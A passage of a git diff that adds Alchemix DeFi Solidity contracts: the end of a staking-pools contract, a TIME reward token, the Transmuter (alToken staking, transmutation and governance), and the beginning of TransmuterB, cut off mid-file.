+      uint256 _currentRewardWeight = _pool.rewardWeight;
+      if (_currentRewardWeight == _rewardWeights[_poolId]) {
+        continue;
+      }
+
+      // FIXME
+      _totalRewardWeight = _totalRewardWeight.sub(_currentRewardWeight).add(_rewardWeights[_poolId]);
+      _pool.rewardWeight = _rewardWeights[_poolId];
+
+      emit PoolRewardWeightUpdated(_poolId, _rewardWeights[_poolId]);
+    }
+
+    _ctx.totalRewardWeight = _totalRewardWeight;
+  }
+
+  /// @dev Stakes tokens into a pool.
+  ///
+  /// @param _poolId        the pool to deposit tokens into.
+  /// @param _depositAmount the amount of tokens to deposit.
+  function deposit(uint256 _poolId, uint256 _depositAmount) external nonReentrant {
+    Pool.Data storage _pool = _pools.get(_poolId);
+    _pool.update(_ctx);
+
+    Stake.Data storage _stake = _stakes[msg.sender][_poolId];
+    _stake.update(_pool, _ctx);
+
+    _deposit(_poolId, _depositAmount);
+  }
+
+  /// @dev Withdraws staked tokens from a pool.
+  ///
+  /// @param _poolId          The pool to withdraw staked tokens from.
+  /// @param _withdrawAmount  The number of tokens to withdraw.
+  function withdraw(uint256 _poolId, uint256 _withdrawAmount) external nonReentrant {
+    Pool.Data storage _pool = _pools.get(_poolId);
+    _pool.update(_ctx);
+
+    Stake.Data storage _stake = _stakes[msg.sender][_poolId];
+    _stake.update(_pool, _ctx);
+    
+    _claim(_poolId);
+    _withdraw(_poolId, _withdrawAmount);
+  }
+
+  /// @dev Claims all rewarded tokens from a pool.
+  ///
+  /// @param _poolId The pool to claim rewards from.
+  ///
+  /// @notice use this function to claim the tokens from a corresponding pool by ID.
+  function claim(uint256 _poolId) external nonReentrant {
+    Pool.Data storage _pool = _pools.get(_poolId);
+    _pool.update(_ctx);
+
+    Stake.Data storage _stake = _stakes[msg.sender][_poolId];
+    _stake.update(_pool, _ctx);
+
+    _claim(_poolId);
+  }
+
+  /// @dev Claims all rewards from a pool and then withdraws all staked tokens.
+  ///
+  /// @param _poolId the pool to exit from.
+  function exit(uint256 _poolId) external nonReentrant {
+    Pool.Data storage _pool = _pools.get(_poolId);
+    _pool.update(_ctx);
+
+    Stake.Data storage _stake = _stakes[msg.sender][_poolId];
+    _stake.update(_pool, _ctx);
+
+    _claim(_poolId);
+    _withdraw(_poolId, _stake.totalDeposited);
+  }
+
+  /// @dev Gets the rate at which tokens are minted to stakers for all pools.
+  ///
+  /// @return the reward rate.
+  function rewardRate() external view returns (uint256) {
+    return _ctx.rewardRate;
+  }
+
+  /// @dev Gets the total reward weight between all the pools.
+  ///
+  /// @return the total reward weight.
+  function totalRewardWeight() external view returns (uint256) {
+    return _ctx.totalRewardWeight;
+  }
+
+  /// @dev Gets the number of pools that exist.
+  ///
+  /// @return the pool count.
+  function poolCount() external view returns (uint256) {
+    return _pools.length();
+  }
+
+  /// @dev Gets the token a pool accepts.
+  ///
+  /// @param _poolId the identifier of the pool.
+  ///
+  /// @return the token.
+  function getPoolToken(uint256 _poolId) external view returns (IERC20) {
+    Pool.Data storage _pool = _pools.get(_poolId);
+    return _pool.token;
+  }
+
+  /// @dev Gets the total amount of funds staked in a pool.
+  ///
+  /// @param _poolId the identifier of the pool.
+  ///
+  /// @return the total amount of staked or deposited tokens.
+  function getPoolTotalDeposited(uint256 _poolId) external view returns (uint256) {
+    Pool.Data storage _pool = _pools.get(_poolId);
+    return _pool.totalDeposited;
+  }
+
+  /// @dev Gets the reward weight of a pool which determines how much of the total rewards it receives per block.
+  ///
+  /// @param _poolId the identifier of the pool.
+  ///
+  /// @return the pool reward weight.
+  function getPoolRewardWeight(uint256 _poolId) external view returns (uint256) {
+    Pool.Data storage _pool = _pools.get(_poolId);
+    return _pool.rewardWeight;
+  }
+
+  /// @dev Gets the amount of tokens per block being distributed to stakers for a pool.
+  ///
+  /// @param _poolId the identifier of the pool.
+  ///
+  /// @return the pool reward rate.
+  function getPoolRewardRate(uint256 _poolId) external view returns (uint256) {
+    Pool.Data storage _pool = _pools.get(_poolId);
+    return _pool.getRewardRate(_ctx);
+  }
+
+  /// @dev Gets the number of tokens a user has staked into a pool.
+  ///
+  /// @param _account The account to query.
+  /// @param _poolId  the identifier of the pool.
+  ///
+  /// @return the amount of deposited tokens.
+  function getStakeTotalDeposited(address _account, uint256 _poolId) external view returns (uint256) {
+    Stake.Data storage _stake = _stakes[_account][_poolId];
+    return _stake.totalDeposited;
+  }
+
+  /// @dev Gets the number of unclaimed reward tokens a user can claim from a pool.
+  ///
+  /// @param _account The account to get the unclaimed balance of.
+  /// @param _poolId  The pool to check for unclaimed rewards.
+  ///
+  /// @return the amount of unclaimed reward tokens a user has in a pool.
+  function getStakeTotalUnclaimed(address _account, uint256 _poolId) external view returns (uint256) {
+    Stake.Data storage _stake = _stakes[_account][_poolId];
+    return _stake.getUpdatedTotalUnclaimed(_pools.get(_poolId), _ctx);
+  }
+
+  /// @dev Updates all of the pools.
+  function _updatePools() internal {
+    for (uint256 _poolId = 0; _poolId < _pools.length(); _poolId++) {
+      Pool.Data storage _pool = _pools.get(_poolId);
+      _pool.update(_ctx);
+    }
+  }
+
+  /// @dev Stakes tokens into a pool.
+  ///
+  /// The pool and stake MUST be updated before calling this function.
+  ///
+  /// @param _poolId        the pool to deposit tokens into.
+  /// @param _depositAmount the amount of tokens to deposit.
+  function _deposit(uint256 _poolId, uint256 _depositAmount) internal {
+    Pool.Data storage _pool = _pools.get(_poolId);
+    Stake.Data storage _stake = _stakes[msg.sender][_poolId];
+
+    _pool.totalDeposited = _pool.totalDeposited.add(_depositAmount);
+    _stake.totalDeposited = _stake.totalDeposited.add(_depositAmount);
+
+    _pool.token.safeTransferFrom(msg.sender, address(this), _depositAmount);
+
+    emit TokensDeposited(msg.sender, _poolId, _depositAmount);
+  }
+
+  /// @dev Withdraws staked tokens from a pool.
+  ///
+  /// The pool and stake MUST be updated before calling this function.
+  ///
+  /// @param _poolId          The pool to withdraw staked tokens from.
+  /// @param _withdrawAmount  The number of tokens to withdraw.
+  function _withdraw(uint256 _poolId, uint256 _withdrawAmount) internal {
+    Pool.Data storage _pool = _pools.get(_poolId);
+    Stake.Data storage _stake = _stakes[msg.sender][_poolId];
+
+    _pool.totalDeposited = _pool.totalDeposited.sub(_withdrawAmount);
+    _stake.totalDeposited = _stake.totalDeposited.sub(_withdrawAmount);
+
+    _pool.token.safeTransfer(msg.sender, _withdrawAmount);
+
+    emit TokensWithdrawn(msg.sender, _poolId, _withdrawAmount);
+  }
+
+  /// @dev Claims all rewarded tokens from a pool.
+  ///
+  /// The pool and stake MUST be updated before calling this function.
+  ///
+  /// @param _poolId The pool to claim rewards from.
+  ///
+  /// @notice use this function to claim the tokens from a corresponding pool by ID.
+  function _claim(uint256 _poolId) internal {
+    Stake.Data storage _stake = _stakes[msg.sender][_poolId];
+
+    uint256 _claimAmount = _stake.totalUnclaimed;
+    _stake.totalUnclaimed = 0;
+
+    reward.mint(msg.sender, _claimAmount);
+
+    emit TokensClaimed(msg.sender, _poolId, _claimAmount);
+  }
+}
diff --git a/defi/Alchemix/contracts/TimeToken.sol b/defi/Alchemix/contracts/TimeToken.sol
new file mode 100644
index 000000000..395e837da
--- /dev/null
+++ b/defi/Alchemix/contracts/TimeToken.sol
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+pragma experimental ABIEncoderV2;
+
+import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol";
+import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
+
+import {IDetailedERC20} from "./interfaces/IDetailedERC20.sol";
+
+/// @title TimeToken
+///
+/// @dev This is the contract for the Alchemix time token.
+///
+
+contract TimeToken is AccessControl, ERC20("Technological Instantiation Meta Env", "TIME") {
+
+  /// @dev The identifier of the role which maintains other roles.
+  bytes32 public constant ADMIN_ROLE = keccak256("ADMIN");
+
+  /// @dev The identifier of the role which allows accounts to mint tokens.
+  bytes32 public constant MINTER_ROLE = keccak256("MINTER");
+
+  constructor() public {
+    _setupRole(ADMIN_ROLE, msg.sender);
+    _setupRole(MINTER_ROLE, msg.sender);
+    _setRoleAdmin(MINTER_ROLE, ADMIN_ROLE);
+    _setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
+  }
+
+  /// @dev A modifier which checks that the caller has the minter role.
+  modifier onlyMinter() {
+    require(hasRole(MINTER_ROLE, msg.sender), "TimeToken: only minter");
+    _;
+  }
+
+  /// @dev Mints tokens to a recipient.
+  ///
+  /// This function reverts if the caller does not have the minter role.
+  ///
+  /// @param _recipient the account to mint tokens to.
+  /// @param _amount    the amount of tokens to mint.
+  function mint(address _recipient, uint256 _amount) external onlyMinter {
+    _mint(_recipient, _amount);
+  }
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/Transmuter.sol b/defi/Alchemix/contracts/Transmuter.sol
new file mode 100644
index 000000000..596252cf7
--- /dev/null
+++ b/defi/Alchemix/contracts/Transmuter.sol
@@ -0,0 +1,493 @@
+pragma solidity 0.6.12;
+pragma experimental ABIEncoderV2;
+
+import "@openzeppelin/contracts/GSN/Context.sol";
+import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import "@openzeppelin/contracts/math/SafeMath.sol";
+import "@openzeppelin/contracts/utils/Address.sol";
+import "./interfaces/IERC20Burnable.sol";
+
+import "hardhat/console.sol";
+
+//    ___    __        __                _               ___                              __         _ 
+//   / _ |  / / ____  / /  ___   __ _   (_) __ __       / _ \  ____ ___   ___ ___   ___  / /_  ___  (_)
+//  / __ | / / / __/ / _ \/ -_) /  ' \ / /  \ \ /      / ___/ / __// -_) (_-</ -_) / _ \/ __/ (_-< _
+// /_/ |_|/_/  \__/ /_//_/\__/ /_/_/_//_/  /_\_\      /_/    /_/   \__/ /___/\__/ /_//_/\__/ /___/(_)
+//
+// .___________..______           ___      .__   __.      _______..___  ___.  __    __  .___________. _______ .______
+// |           ||   _  \         /   \     |  \ |  |     /       ||   \/   | |  |  |  | |           ||   ____||   _  \
+// `---|  |----`|  |_)  |       /  ^  \    |   \|  |    |   (----`|  \  /  | |  |  |  | `---|  |----`|  |__   |  |_)  |
+//     |  |     |      /       /  /_\  \   |  . `  |     \   \    |  |\/|  | |  |  |  |     |  |     |   __|  |      /
+//     |  |     |  |\  \----. /  _____  \  |  |\   | .----)   |   |  |  |  | |  `--'  |     |  |     |  |____ |  |\  \----.
+//     |__|     | _| `._____|/__/     \__\ |__| \__| |_______/    |__|  |__|  \______/      |__|     |_______|| _| `._____|
+/**
+ * @dev Implementation of the {IERC20Burnable} interface.
+ *
+ * This implementation is agnostic to the way tokens are created. This means
+ * that a supply mechanism has to be added in a derived contract using {_mint}.
+ * For a generic mechanism see {ERC20PresetMinterPauser}.
+ *
+ * TIP: For a detailed writeup see our guide
+ * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
+ * to implement supply mechanisms].
+ *
+ * We have followed general OpenZeppelin guidelines: functions revert instead
+ * of returning `false` on failure. This behavior is nonetheless conventional
+ * and does not conflict with the expectations of ERC20 applications.
+ *
+ * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
+ * This allows applications to reconstruct the allowance for all accounts just
+ * by listening to said events. Other implementations of the EIP may not emit
+ * these events, as it isn't required by the specification.
+ *
+ * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
+ * functions have been added to mitigate the well-known issues around setting
+ * allowances. See {IERC20Burnable-approve}.
+ */
+contract Transmuter is Context {
+    using SafeMath for uint256;
+    using SafeERC20 for IERC20Burnable;
+    using Address for address;
+
+    address public constant ZERO_ADDRESS = address(0);
+    uint256 public TRANSMUTATION_PERIOD;
+
+    address public AlToken;
+    address public Token;
+
+    mapping(address => uint256) public depositedAlTokens;
+    mapping(address => uint256) public tokensInBucket;
+    mapping(address => uint256) public realisedTokens;
+    mapping(address => uint256) public lastDividendPoints;
+
+    mapping(address => bool) public userIsKnown;
+    mapping(uint256 => address) public userList;
+    uint256 public nextUser;
+
+    uint256 public totalSupplyAltokens;
+    uint256 public buffer;
+    uint256 public lastDepositBlock;
+
+    ///@dev values needed to calculate the distribution of base asset in proportion for alTokens staked
+    uint256 public pointMultiplier = 10e18;
+
+    uint256 public totalDividendPoints;
+    uint256 public unclaimedDividends;
+
+    /// @dev alchemist addresses whitelisted
+    mapping (address => bool) public whiteList;
+
+    /// @dev The address of the account which currently has administrative capabilities over this contract.
+    address public governance;
+
+    /// @dev The address of the pending governance.
+    address public pendingGovernance;
+
+    event GovernanceUpdated(
+        address governance
+    );
+
+    event PendingGovernanceUpdated(
+        address pendingGovernance
+    );
+
+    event TransmuterPeriodUpdated(
+        uint256 newTransmutationPeriod
+    );
+
+    constructor(address _AlToken, address _Token, address _governance) public {
+        require(_governance != ZERO_ADDRESS, "Transmuter: 0 gov");
+        governance = _governance;
+        AlToken = _AlToken;
+        Token = _Token;
+        TRANSMUTATION_PERIOD = 50;
+    }
+
+    ///@return displays the user's share of the pooled alTokens.
+    function dividendsOwing(address account) public view returns (uint256) {
+        uint256 newDividendPoints = totalDividendPoints.sub(lastDividendPoints[account]);
+        return depositedAlTokens[account].mul(newDividendPoints).div(pointMultiplier);
+    }
+
+    ///@dev modifier to fill the bucket and keep bookkeeping correct incase of increase/decrease in shares
+    modifier updateAccount(address account) {
+        uint256 owing = dividendsOwing(account);
+        if (owing > 0) {
+            unclaimedDividends = unclaimedDividends.sub(owing);
+            tokensInBucket[account] = tokensInBucket[account].add(owing);
+        }
+        lastDividendPoints[account] = totalDividendPoints;
+        _;
+    }
+    ///@dev modifier add users to userlist. Users are indexed in order to keep track of when a bond has been filled
+    modifier checkIfNewUser() {
+        if (!userIsKnown[msg.sender]) {
+            userList[nextUser] = msg.sender;
+            userIsKnown[msg.sender] = true;
+            nextUser++;
+        }
+        _;
+    }
+
+    ///@dev run the phased distribution of the buffered funds
+    modifier runPhasedDistribution() {
+        uint256 _lastDepositBlock = lastDepositBlock;
+        uint256 _currentBlock = block.number;
+        uint256 _toDistribute = 0;
+        uint256 _buffer = buffer;
+
+        // check if there is something in buffer
+        if (_buffer > 0) {
+            // NOTE: if last deposit was updated in the same block as the current call
+            // then the below logic gates will fail
+
+            //calculate difference in time
+            uint256 deltaTime = _currentBlock.sub(_lastDepositBlock);
+
+            // distribute all if bigger than timeframe
+            if(deltaTime >= TRANSMUTATION_PERIOD) {
+                _toDistribute = _buffer;
+            } else {
+
+                //needs to be bigger than 0 cuzz solidity no decimals
+                if(_buffer.mul(deltaTime) > TRANSMUTATION_PERIOD)
+                {
+                    _toDistribute = _buffer.mul(deltaTime).div(TRANSMUTATION_PERIOD);
+                }
+            }
+
+            // factually allocate if any needs distribution
+            if(_toDistribute > 0){
+
+                // remove from buffer
+                buffer = _buffer.sub(_toDistribute);
+
+                // increase the allocation
+                increaseAllocations(_toDistribute);
+            }
+        }
+
+        // current timeframe is now the last
+        lastDepositBlock = _currentBlock;
+        _;
+    }
+
+    /// @dev A modifier which checks if whitelisted for minting.
+    modifier onlyWhitelisted() {
+        require(whiteList[msg.sender], "Transmuter: !whitelisted");
+        _;
+    }
+
+    /// @dev Checks that the current message sender or caller is the governance address.
+    ///
+    ///
+    modifier onlyGov() {
+        require(msg.sender == governance, "Transmuter: !governance");
+        _;
+    }
+
+    ///@dev set the TRANSMUTATION_PERIOD variable
+    ///
+    /// sets the length (in blocks) of one full distribution phase
+    function setTransmutationPeriod(uint256 newTransmutationPeriod) public onlyGov() {
+        TRANSMUTATION_PERIOD = newTransmutationPeriod;
+        emit TransmuterPeriodUpdated(newTransmutationPeriod);
+    }
+
+    ///@dev claims the base token after it has been transmuted
+    ///
+    ///This function reverts if there is no realisedToken balance
+    function claim() public {
+        address sender = msg.sender;
+        require(realisedTokens[sender] > 0);
+        uint256 value = realisedTokens[sender];
+        realisedTokens[sender] = 0;
+        IERC20Burnable(Token).safeTransfer(sender, value);
+    }
+
+    ///@dev Withdraws staked alTokens from the transmuter
+    ///
+    /// This function reverts if you try to draw more tokens than you deposited
+    ///
+    ///@param amount the amount of alTokens to unstake
+    function unstake(uint256 amount) public updateAccount(msg.sender) {
+        // by calling this function before transmuting you forfeit your gained allocation
+        address sender = msg.sender;
+        require(depositedAlTokens[sender] >= amount,"Transmuter: unstake amount exceeds deposited amount");
+        depositedAlTokens[sender] = depositedAlTokens[sender].sub(amount);
+        totalSupplyAltokens = totalSupplyAltokens.sub(amount);
+        IERC20Burnable(AlToken).safeTransfer(sender, amount);
+    }
+    ///@dev Deposits alTokens into the transmuter 
+    ///
+    ///@param amount the amount of alTokens to stake
+    function stake(uint256 amount)
+        public
+        runPhasedDistribution()
+        updateAccount(msg.sender)
+        checkIfNewUser()
+    {
+        // requires approval of AlToken first
+        address sender = msg.sender;
+        //require tokens transferred in;
+        IERC20Burnable(AlToken).safeTransferFrom(sender, address(this), amount);
+        totalSupplyAltokens = totalSupplyAltokens.add(amount);
+        depositedAlTokens[sender] = depositedAlTokens[sender].add(amount);
+    }
+    /// @dev Converts the staked alTokens to the base tokens in amount of the sum of pendingdivs and tokensInBucket
+    ///
+    /// once the alToken has been converted, it is burned, and the base token becomes realisedTokens which can be received using claim()    
+    ///
+    /// reverts if there are no pendingdivs or tokensInBucket
+    function transmute() public runPhasedDistribution() updateAccount(msg.sender) {
+        address sender = msg.sender;
+        uint256 pendingz = tokensInBucket[sender];
+        uint256 diff;
+
+        require(pendingz > 0, "need to have pending in bucket");
+
+        tokensInBucket[sender] = 0;
+
+        // check bucket overflow
+        if (pendingz > depositedAlTokens[sender]) {
+            diff = pendingz.sub(depositedAlTokens[sender]);
+
+            // remove overflow
+            pendingz = depositedAlTokens[sender];
+        }
+
+        // decrease altokens
+        depositedAlTokens[sender] = depositedAlTokens[sender].sub(pendingz);
+
+        // BURN ALTOKENS
+        IERC20Burnable(AlToken).burn(pendingz);
+
+        // adjust total
+        totalSupplyAltokens = totalSupplyAltokens.sub(pendingz);
+
+        // reallocate overflow
+        increaseAllocations(diff);
+
+        // add payout
+        realisedTokens[sender] = realisedTokens[sender].add(pendingz);
+    }
+
+    /// @dev Executes transmute() on another account that has had more base tokens allocated to it than alTokens staked.
+    ///
+    /// The caller of this function will have the surlus base tokens credited to their tokensInBucket balance, rewarding them for performing this action
+    ///
+    /// This function reverts if the address to transmute is not over-filled.
+    ///
+    /// @param toTransmute address of the account you will force transmute.
+    function forceTransmute(address toTransmute)
+        public
+        runPhasedDistribution()
+        updateAccount(msg.sender)
+        updateAccount(toTransmute)
+    {
+        //load into memory
+        address sender = msg.sender;
+        uint256 pendingz = tokensInBucket[toTransmute];
+        // check restrictions
+        require(
+            pendingz > depositedAlTokens[toTransmute],
+            "Transmuter: !overflow"
+        );
+
+        // empty bucket
+        tokensInBucket[toTransmute] = 0;
+
+        // calculaate difference
+        uint256 diff = pendingz.sub(depositedAlTokens[toTransmute]);
+
+        // remove overflow
+        pendingz = depositedAlTokens[toTransmute];
+
+        // decrease altokens
+        depositedAlTokens[toTransmute] = 0;
+
+        // BURN ALTOKENS
+        IERC20Burnable(AlToken).burn(pendingz);
+
+        // adjust total
+        totalSupplyAltokens = totalSupplyAltokens.sub(pendingz);
+
+        // reallocate overflow
+        tokensInBucket[sender] = tokensInBucket[sender].add(diff);
+
+        // add payout
+        realisedTokens[toTransmute] = realisedTokens[toTransmute].add(pendingz);
+
+        // force payout of realised tokens of the toTransmute address
+        if (realisedTokens[toTransmute] > 0) {
+            uint256 value = realisedTokens[toTransmute];
+            realisedTokens[toTransmute] = 0;
+            IERC20Burnable(Token).safeTransfer(toTransmute, value);
+        }
+    }
+
+    /// @dev Transmutes and unstakes all alTokens
+    ///
+    /// This function combines the transmute and unstake functions for ease of use
+    function exit() public {
+        transmute();
+        uint256 toWithdraw = depositedAlTokens[msg.sender];
+        unstake(toWithdraw);
+    }
+
+    /// @dev Transmutes and claims all converted base tokens.
+    ///
+    /// This function combines the transmute and claim functions while leaving your remaining alTokens staked.
+    function transmuteAndClaim() public {
+        transmute();
+        claim();
+    }
+
+    /// @dev Transmutes, claims base tokens, and withdraws alTokens.
+    ///
+    /// This function helps users to exit the transmuter contract completely after converting their alTokens to the base pair.
+    function transmuteClaimAndWithdraw() public {
+        transmute();
+        claim();
+        uint256 toWithdraw = depositedAlTokens[msg.sender];
+        unstake(toWithdraw);
+    }
+
+    /// @dev Distributes the base token proportionally to all alToken stakers.
+    ///
+    /// This function is meant to be called by the Alchemist contract for when it is sending yield to the transmuter. 
+    /// Anyone can call this and add funds, idk why they would do that though...
+    ///
+    /// @param origin the account that is sending the tokens to be distributed.
+    /// @param amount the amount of base tokens to be distributed to the transmuter.
+    function distribute(address origin, uint256 amount) public onlyWhitelisted() runPhasedDistribution() {
+        IERC20Burnable(Token).safeTransferFrom(origin, address(this), amount);
+        buffer = buffer.add(amount);
+    }
+
+    /// @dev Allocates the incoming yield proportionally to all alToken stakers.
+    ///
+    /// @param amount the amount of base tokens to be distributed in the transmuter.
+    function increaseAllocations(uint256 amount) internal {
+        if(totalSupplyAltokens > 0 && amount > 0) {
+            totalDividendPoints = totalDividendPoints.add(
+                amount.mul(pointMultiplier).div(totalSupplyAltokens)
+            );
+            unclaimedDividends = unclaimedDividends.add(amount);
+        } else {
+            buffer = buffer.add(amount);
+        }
+    }
+
+    /// @dev Gets the status of a user's staking position.
+    ///
+    /// The total amount allocated to a user is the sum of pendingdivs and inbucket.
+    ///
+    /// @param user the address of the user you wish to query.
+    ///
+    /// returns user status
+    
+    function userInfo(address user)
+        public
+        view
+        returns (
+            uint256 depositedAl,
+            uint256 pendingdivs,
+            uint256 inbucket,
+            uint256 realised
+        )
+    {
+        uint256 _depositedAl = depositedAlTokens[user];
+        uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(TRANSMUTATION_PERIOD);
+        if(block.number.sub(lastDepositBlock) > TRANSMUTATION_PERIOD){
+            _toDistribute = buffer;
+        }
+        uint256 _pendingdivs = _toDistribute.mul(depositedAlTokens[user]).div(totalSupplyAltokens);
+        uint256 _inbucket = tokensInBucket[user].add(dividendsOwing(user));
+        uint256 _realised = realisedTokens[user];
+        return (_depositedAl, _pendingdivs, _inbucket, _realised);
+    }
+
+    /// @dev Gets the status of multiple users in one call
+    ///
+    /// This function is used to query the contract to check for
+    /// accounts that have overfilled positions in order to check 
+    /// who can be force transmuted.
+    ///
+    /// @param from the first index of the userList
+    /// @param to the last index of the userList
+    ///
+    /// returns the userList with their staking status in paginated form. 
+    function getMultipleUserInfo(uint256 from, uint256 to)
+        public
+        view
+        returns (address[] memory theUserList, uint256[] memory theUserData)
+    {
+        uint256 i = from;
+        uint256 delta = to - from;
+        address[] memory _theUserList = new address[](delta); //user
+        uint256[] memory _theUserData = new uint256[](delta * 2); //deposited-bucket
+        uint256 y = 0;
+        uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(TRANSMUTATION_PERIOD);
+        if(block.number.sub(lastDepositBlock) > TRANSMUTATION_PERIOD){
+            _toDistribute = buffer;
+        }
+        for (uint256 x = 0; x < delta; x += 1) {
+            _theUserList[x] = userList[i];
+            _theUserData[y] = depositedAlTokens[userList[i]];
+            _theUserData[y + 1] = dividendsOwing(userList[i]).add(tokensInBucket[userList[i]]).add(_toDistribute.mul(depositedAlTokens[userList[i]]).div(totalSupplyAltokens));
+            y += 2;
+            i += 1;
+        }
+        return (_theUserList, _theUserData);
+    }
+
+    /// @dev Gets info on the buffer
+    ///
+    /// This function is used to query the contract to get the
+    /// latest state of the buffer
+    ///
+    /// @return _toDistribute the amount ready to be distributed
+    /// @return _deltaBlocks the amount of time since the last phased distribution
+    /// @return _buffer the amount in the buffer 
+    function bufferInfo() public view returns (uint256 _toDistribute, uint256 _deltaBlocks, uint256 _buffer){
+        _deltaBlocks = block.number.sub(lastDepositBlock);
+        _buffer = buffer; 
+        _toDistribute = _buffer.mul(_deltaBlocks).div(TRANSMUTATION_PERIOD);
+    }
+
+    /// @dev Sets the pending governance.
+    ///
+    /// This function reverts if the new pending governance is the zero address or the caller is not the current
+    /// governance. This is to prevent the contract governance being set to the zero address which would deadlock
+    /// privileged contract functionality.
+    ///
+    /// @param _pendingGovernance the new pending governance.
+    function setPendingGovernance(address _pendingGovernance) external onlyGov {
+        require(_pendingGovernance != ZERO_ADDRESS, "Transmuter: 0 gov");
+
+        pendingGovernance = _pendingGovernance;
+
+        emit PendingGovernanceUpdated(_pendingGovernance);
+    }
+
+    /// @dev Accepts the role as governance.
+    ///
+    /// This function reverts if the caller is not the new pending governance.
+    function acceptGovernance() external  {
+        require(msg.sender == pendingGovernance,"!pendingGovernance");
+        address _pendingGovernance = pendingGovernance;
+        governance = _pendingGovernance;
+
+        emit GovernanceUpdated(_pendingGovernance);
+    }
+
+    /// This function reverts if the caller is not governance
+    ///
+    /// @param _toWhitelist the account to mint tokens to.
+    /// @param _state the whitelist state.
+
+    function setWhitelist(address _toWhitelist, bool _state) external onlyGov {
+        whiteList[_toWhitelist] = _state;
+    }
+}
diff --git a/defi/Alchemix/contracts/TransmuterB.sol b/defi/Alchemix/contracts/TransmuterB.sol
new file mode 100644
index 000000000..2703b2914
--- /dev/null
+++ b/defi/Alchemix/contracts/TransmuterB.sol
@@ -0,0 +1,943 @@
+pragma solidity 0.6.12;
+
+import "@openzeppelin/contracts/GSN/Context.sol";
+import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import "@openzeppelin/contracts/math/SafeMath.sol";
+import "@openzeppelin/contracts/utils/Address.sol";
+import "./interfaces/IERC20Burnable.sol";
+import {YearnVaultAdapterWithIndirection} from "./adapters/YearnVaultAdapterWithIndirection.sol";
+import {VaultWithIndirection} from "./libraries/alchemist/VaultWithIndirection.sol";
+import {ITransmuter} from "./interfaces/ITransmuter.sol";
+
+//    ___    __        __                _               ___                              __         _ 
+//   / _ |  / / ____  / /  ___   __ _   (_) __ __       / _ \  ____ ___   ___ ___   ___  / /_  ___  (_)
+//  / __ | / / / __/ / _ \/ -_) /  ' \ / /  \ \ /      / ___/ / __// -_) (_-</ -_) / _ \/ __/ (_-< _
+// /_/ |_|/_/  \__/ /_//_/\__/ /_/_/_//_/  /_\_\      /_/    /_/   \__/ /___/\__/ /_//_/\__/ /___/(_)
+//
+// .___________..______           ___      .__   __.      _______..___  ___.  __    __  .___________. _______ .______
+// |           ||   _  \         /   \     |  \ |  |     /       ||   \/   | |  |  |  | |           ||   ____||   _  \
+// `---|  |----`|  |_)  |       /  ^  \    |   \|  |    |   (----`|  \  /  | |  |  |  | `---|  |----`|  |__   |  |_)  |
+//     |  |     |      /       /  /_\  \   |  . `  |     \   \    |  |\/|  | |  |  |  |     |  |     |   __|  |      /
+//     |  |     |  |\  \----. /  _____  \  |  |\   | .----)   |   |  |  |  | |  `--'  |     |  |     |  |____ |  |\  \----.
+//     |__|     | _| `._____|/__/     \__\ |__| \__| |_______/    |__|  |__|  \______/      |__|     |_______|| _| `._____|
+/**
+ * @dev Implementation of the {IERC20Burnable} interface.
+ *
+ * This implementation is agnostic to the way tokens are created. This means
+ * that a supply mechanism has to be added in a derived contract using {_mint}.
+ * For a generic mechanism see {ERC20PresetMinterPauser}.
+ *
+ * TIP: For a detailed writeup see our guide
+ * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
+ * to implement supply mechanisms].
+ *
+ * We have followed general OpenZeppelin guidelines: functions revert instead
+ * of returning `false` on failure. This behavior is nonetheless conventional
+ * and does not conflict with the expectations of ERC20 applications.
+ *
+ * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
+ * This allows applications to reconstruct the allowance for all accounts just
+ * by listening to said events. Other implementations of the EIP may not emit
+ * these events, as it isn't required by the specification.
+ *
+ * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
+ * functions have been added to mitigate the well-known issues around setting
+ * allowances. See {IERC20Burnable-approve}.
+ */
+contract TransmuterB is Context {
+    using SafeMath for uint256;
+    using SafeERC20 for IERC20Burnable;
+    using Address for address;
+    using VaultWithIndirection for VaultWithIndirection.Data;
+    using VaultWithIndirection for VaultWithIndirection.List;
+
+    address public constant ZERO_ADDRESS = address(0);
+    uint256 public transmutationPeriod;
+
+    address public alToken;
+    address public token;
+
+    mapping(address => uint256) public depositedAlTokens;
+    mapping(address => uint256) public tokensInBucket;
+    mapping(address => uint256) public realisedTokens;
+    mapping(address => uint256) public lastDividendPoints;
+
+    mapping(address => bool) public userIsKnown;
+    mapping(uint256 => address) public userList;
+    uint256 public nextUser;
+
+    uint256 public totalSupplyAltokens;
+    uint256 public buffer;
+    uint256 public lastDepositBlock;
+
+    ///@dev values needed to calculate the distribution of base asset in proportion for alTokens staked
+    uint256 public pointMultiplier = 10e18;
+
+    uint256 public totalDividendPoints;
+    uint256 public unclaimedDividends;
+
+    /// @dev alchemist addresses whitelisted
+    mapping (address => bool) public whiteList;
+
+    /// @dev addresses whitelisted to run keepr jobs (harvest)
+    mapping (address => bool) public keepers;
+
+    /// @dev The threshold above which excess funds will be deployed to yield farming activities
+    uint256 public plantableThreshold = 5000000000000000000000000; // 5mm
+
+    /// @dev The % margin to trigger planting or recalling of funds
+    uint256 public plantableMargin = 5;
+
+    /// @dev The address of the account which currently has administrative capabilities over this contract.
+    address public governance;
+
+    /// @dev The address of the pending governance.
+    address public pendingGovernance;
+
+    /// @dev The address of the account which can perform emergency activities
+    address public sentinel;
+
+    /// @dev A flag indicating if deposits and flushes should be halted and if all parties should be able to recall
+    /// from the active vault.
+    bool public pause;
+
+    /// @dev The address of the contract which will receive fees.
+    address public rewards;
+
+    /// @dev A mapping of adapter addresses to keep track of vault adapters that have already been added
